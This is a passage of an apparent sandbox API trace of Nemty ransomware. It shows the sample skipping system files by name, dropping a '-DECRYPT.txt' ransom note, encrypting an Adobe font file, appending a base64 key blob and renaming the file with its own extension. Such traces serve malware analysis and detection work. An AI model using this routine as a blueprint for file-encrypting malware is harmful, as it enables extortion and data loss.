hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0213.959] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2=".") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="..") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="...") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="windows") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="$RECYCLE.BIN") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="rsa") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="NTDETECT.COM") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="ntldr") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="MSDOS.SYS") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="IO.SYS") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="boot.ini") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="boot.ini") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="AUTOEXEC.BAT") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="ntuser.dat") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="desktop.ini") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="CONFIG.SYS") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="RECYCLER") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="BOOTSECT.BAK") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="bootmgr") returned 1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="programdata") returned -1 [0213.959] lstrcmpiW (lpString1="Font", lpString2="appdata") returned 1 [0213.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Font", lpUsedDefaultChar=0x0) returned 4 [0213.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Font", lpUsedDefaultChar=0x0) returned 4 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0213.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351e40 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0213.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0213.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0213.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.962] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.962] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0213.963] CloseHandle (hObject=0x1ec) returned 1 [0213.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0213.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351e40 | out: hHeap=0x4f90000) returned 1 [0213.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351e40 [0213.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351eb8 [0213.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351f30 [0213.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0213.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0213.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0213.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.965] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.965] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0213.965] CloseHandle (hObject=0x1ec) returned 1 [0213.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0213.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351f30 | out: hHeap=0x4f90000) returned 1 [0213.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0213.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3329ad70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3329ad70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0213.966] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0213.966] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3329ad70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3329ad70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.967] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0213.967] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0213.967] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="ADOBEA~2.OTF")) returned 1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2=".") returned 1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="..") returned 1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="...") returned 1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="windows") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="rsa") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="ntldr") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="IO.SYS") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="boot.ini") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="boot.ini") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="AUTOEXEC.BAT") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="ntuser.dat") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="desktop.ini") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="CONFIG.SYS") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="RECYCLER") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="BOOTSECT.BAK") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="bootmgr") returned -1 [0213.967] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="programdata") returned -1 [0213.968] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="appdata") returned -1 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Bold.otf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Bold.otf", lpUsedDefaultChar=0x0) returned 20 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0213.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0213.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941b8 [0213.968] Sleep (dwMilliseconds=0x5) [0213.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x332e7030, dwHighDateTime=0x1d561e8)) [0213.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x332e7030, dwHighDateTime=0x1d561e8)) [0213.983] GetLastError () returned 0xb7 [0213.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.983] GetLastError () returned 0xb7 [0213.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0213.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.984] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0213.984] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="9O+wmaDfbAIiPw1z26YEnowQuSALcZKTFlBHwW6tQ0uSilbzfcvHIX/jZhJF9TIT\r\n8WYvCy9tmW59znGTahx8VkXn7Uzt7+RDTtUvFUZnTykHaj72z7IJB4QU/812dJbp\r\nvXHc7yvGp1yIoL1zuKfPPBzcqEN3bHo26qTD2svi7yJh1i4oLX6HVCD/htktzYKD\r\naD5qP/aIi1jB2TQfOi9EEh9y9k5GaIeRo2odXV6LHKbdmOXnDDWQ0FFAe9+GGkVl\r\nZHT3sqc1ux3cflSRTOMSvEvXIYXLGkeSuecdFPhypjKgCg3ggHC6R3p2LZFtE65e\r\nPeNnle56ozwe433niZ0KRg==\r\n", pcchString=0x653e91c) returned 1 [0213.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0213.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0213.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0213.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0213.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0213.985] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=228988) returned 1 [0213.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0213.985] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.985] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0213.995] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.995] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0213.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.996] SetFilePointer (in: hFile=0x254, lDistanceToMove=228988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x37e7c [0213.996] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0213.996] CloseHandle (hObject=0x254) returned 1 [0213.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94260 [0213.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0213.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0213.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0213.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94308 [0213.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0213.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0213.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0213.996] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf._nemty_kgobjgd_")) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94260 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.997] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-BoldItalic.otf", cAlternateFileName="ADOBEA~3.OTF")) returned 1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2=".") returned 1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="..") returned 1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="...") returned 1 [0213.997] 